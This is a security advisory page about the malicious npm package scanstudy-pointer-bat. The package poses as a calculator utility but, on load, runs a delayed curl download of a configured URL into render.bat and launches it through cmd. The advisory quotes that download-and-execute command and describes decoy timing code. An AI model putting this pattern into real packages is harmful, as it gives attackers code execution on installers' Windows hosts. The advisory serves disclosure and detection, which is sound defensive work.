MAL-2026-20288: Malicious code in scanstudy-pointer-bat (npm)

Published Nov 20, 2026
·
Updated

--- -= Per source details. Do not edit below this line.=-

Source: amazon-inspector (f110b50f6e90e9508c1dfceae3b664a343bea2d5df34e3c3993b1ee874945334) The package advertises itself as a calculator UI utility but main.js schedules a childprocess.exec via setTimeout on require/start that runs curl -fsSL ${rendererUrl} -o render.bat && cmd /c start /b render.bat, downloading a file from a configured URL and executing it as render.bat under cmd. The RENDERERURL key is absent from the shipped config.json, so the current artifact resolves to an empty URL, but the full download-and-execute machinery is present and reachable on load, giving whoever controls that config key arbitrary code execution on the installer's Windows host. main.js also contains an unused Mandelbrot-style CPU-busy routine (performRoutine) and wraps the exec in a random 0–5 second delay — decoy and timing patterns around the shell-out that are inconsistent with the stated library purpose.

Affected Software

1 affected component
npm/scanstudy-pointer-bat=1.0.0

Event History

Nov 20, 2026
Advisory Published
via OSV·03:45 AM
Data Sourced
via OSV·03:45 AM
DescriptionAffected Software

Frequently Asked Questions

1

Which systems are exposed to code execution?

Windows hosts that load or start the package are exposed if the RENDERER_URL configuration key is controlled or supplied. The package downloads the configured content as render.bat and starts it through cmd.

2

Does the shipped package execute a download by default?

The shipped config.json does not contain RENDERER_URL, so the current artifact resolves the URL to an empty value. However, the download-and-execute path is present and reachable when the package is loaded, and becomes active if that key is configured.

3

What access does an attacker need to exploit this behavior?

An attacker needs control over the RENDERER_URL configuration value. That control lets them choose the file downloaded and executed as a Windows batch file on the host running the package.

4

How can I check whether an environment may have been affected?

Check whether scanstudy-pointer-bat is installed or loaded on Windows systems, and inspect its configuration for a RENDERER_URL value. Also review for a render.bat file and command activity consistent with curl downloading render.bat followed by cmd starting it.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203